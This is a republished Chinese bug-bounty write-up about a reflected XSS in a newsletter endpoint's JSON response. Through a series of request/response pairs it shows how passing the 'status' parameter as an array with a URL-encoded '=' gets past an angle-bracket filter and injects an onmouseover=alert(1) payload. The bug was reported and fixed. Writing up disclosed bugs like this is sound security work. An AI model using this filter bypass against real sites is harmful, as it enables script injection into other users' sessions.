Story of a JSON XSS
Posted 二向箔安全
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Story of a JSON XSS相关的知识,希望对你有一定的参考价值。
嗨,伙计们,
这篇文章记录了我最近在漏洞悬赏项目中发现的一个问题。刚开始我测试了一遍常见的漏洞,但一无所获。过了一个小时我发现了一个问题:
如下是数据包的请求和响应部分:
request:
process=activate_newsletter&status=0&usid=xxx
response:
{"success":true,"status":"0"}
查看 request 和 response 响应,你会看到 status 参数的值出现在了 response 响应当中。因此,我试着改变 status 参数的值,它也返回到了 response 响应中:
request:
process=activate_newsletter&status=test&usid=xxx
response:
{"success":true,"status":"test"}
接下来呢?我们来试试简单的 XSS payload :
request:
process=activate_newsletter&status=test<haha>&usid=xxx
response:
{"success":true,"status":"test<haha&ggt;"}
但是尖括号被过滤了,我试了一些编码方式但是也没有绕过。正当我想放弃时,突然想起可以传入数组试试:
request:
process=activate_newsletter&status[testarray]=test&usid=xxx
response:
{"success":true,"status":{"testarray":"test"}}
你可以看到我们写在圆括号里面的东西都被输出到了响应里,因为它变成了如下的关联数组:
Status 参数相当于 JSON 对象
<haha> 相当于 JSON 对象的索引
Test 相当于 JSON 对象的值
再用简单的 XSS payload 来测试一下
request:
process=activate_newsletter&status[<haha>]=test&usid=xxx
response:
{"success":true,"status":{"<haha>":"test"}}
所以,尖括号是绕过了,那么“=”呢?
request:
process=activate_newsletter&status[<haha=>]=test&usid=xxx
response:
{"success":true,"status":null}
因为等号会破坏查询语句,所以我们得到了一个空值 null ,接下来我尝试 URL 编码,这就成功绕过了。
request:
process=activate_newsletter&status[<haha%3D>]=test&usid=xxx
response:
{"success":true,"status":{"<haha=>":"test"}}
接下来是最后的 payload :
request:
process=activate_newsletter&status[<haha onmouseover%3Dalert(1)>]=test&usid=xxx
response:
{"success":true,"status":{"<haha onmouseover=alert(1)>":"test"}}
最后需要一个 CSRF 的 POC 来利用它:
但是 userid 参数是很难猜到的,我在其它地方检查了也没发现 userid ,就报告了这个漏洞,他们很快修复了这个漏洞,因为整个网站是采用同样的方法来展示 JSON 数据。最后也得到了丰厚的奖金。;)
感谢阅读。
以上是关于Story of a JSON XSS的主要内容,如果未能解决你的问题,请参考以下文章
The story of one latency spike
1-3 The Story of Autonomous Vehicles
SpringBoot启动报错“Consider defining a bean of type ‘xxx.mapper.UserMapper‘ in your configuration.“(代码片段